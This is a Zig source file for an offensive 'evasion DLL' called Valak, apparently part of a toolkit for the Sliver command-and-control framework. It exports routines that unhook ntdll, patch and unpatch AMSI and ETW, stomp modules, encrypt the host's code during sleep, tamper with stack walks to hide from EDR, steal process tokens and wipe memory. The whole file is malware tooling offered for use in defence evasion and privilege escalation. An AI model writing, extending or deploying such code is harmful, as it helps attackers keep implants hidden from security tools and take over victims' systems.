// Valak evasion DLL — drop-in sleep obfuscation + AMSI/ETW bypass for any C2.
// Built for Sliver but protocol-agnostic. Exports are resolved at runtime by the
// Go bridge (go-bridge/valak.go) via reflective PE loading or direct DLL load.
// Reference: DbgMan "EDR Tradecraft" (May 2026), Windows x64 ABI.

const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
const syscall = @import("syscall.zig");
const amsi = @import("amsi.zig");
const etw = @import("etw.zig");
const stomp = @import("stomp.zig");
const sleep = @import("sleep.zig");
const unhook = @import("unhook.zig");
const token = @import("token.zig");

var g_initialized: bool = false;

fn ensure() void {
    if (g_initialized) return;
    g_initialized = true;
    api.ensure();
    _ = syscall.init_syscall();
}

export fn init_evasion() void { ensure(); }

export fn unhook_ntdll() void { ensure(); unhook.unhookNtdll(); }
export fn patch_etw() void { ensure(); etw.patch_etw(); }
export fn patch_amsi() void { ensure(); amsi.patch_amsi(); }

export fn stomp_evasion(base: ?*anyopaque) void {
    ensure();
    _ = stomp.stomp_module(base);
}

export fn is_relocated() bool {
    return stomp.g_evasion_relocated;
}

// Tell the DLL where the host process's .text is so it can be encrypted during sleep.
export fn init_text_region(base: [*]u8, size: usize) void {
    sleep.init_go_text_region(base, size);
}

// Called from the asm trampoline (arch/hells_gate.s) which captures entry RSP,
// zeros the return address for EDR stack walk termination, and restores on return.
export fn evasion_sleep_inner(ms: u32) void {
    ensure();
    sleep.evasion_sleep(ms);
}

export fn unpatch_amsi() void { ensure(); amsi.unpatch_amsi(); }
export fn unpatch_etw() void { ensure(); etw.unpatch_etw(); }

export fn wipe_memory(base: [*]u8, size: usize) void {
    @memset(base[0..size], 0);
}

export fn steal_token(pid: u32) bool {
    ensure();
    return token.stealToken(pid);
}

export fn rev2self() bool {
    ensure();
    return token.rev2self();
}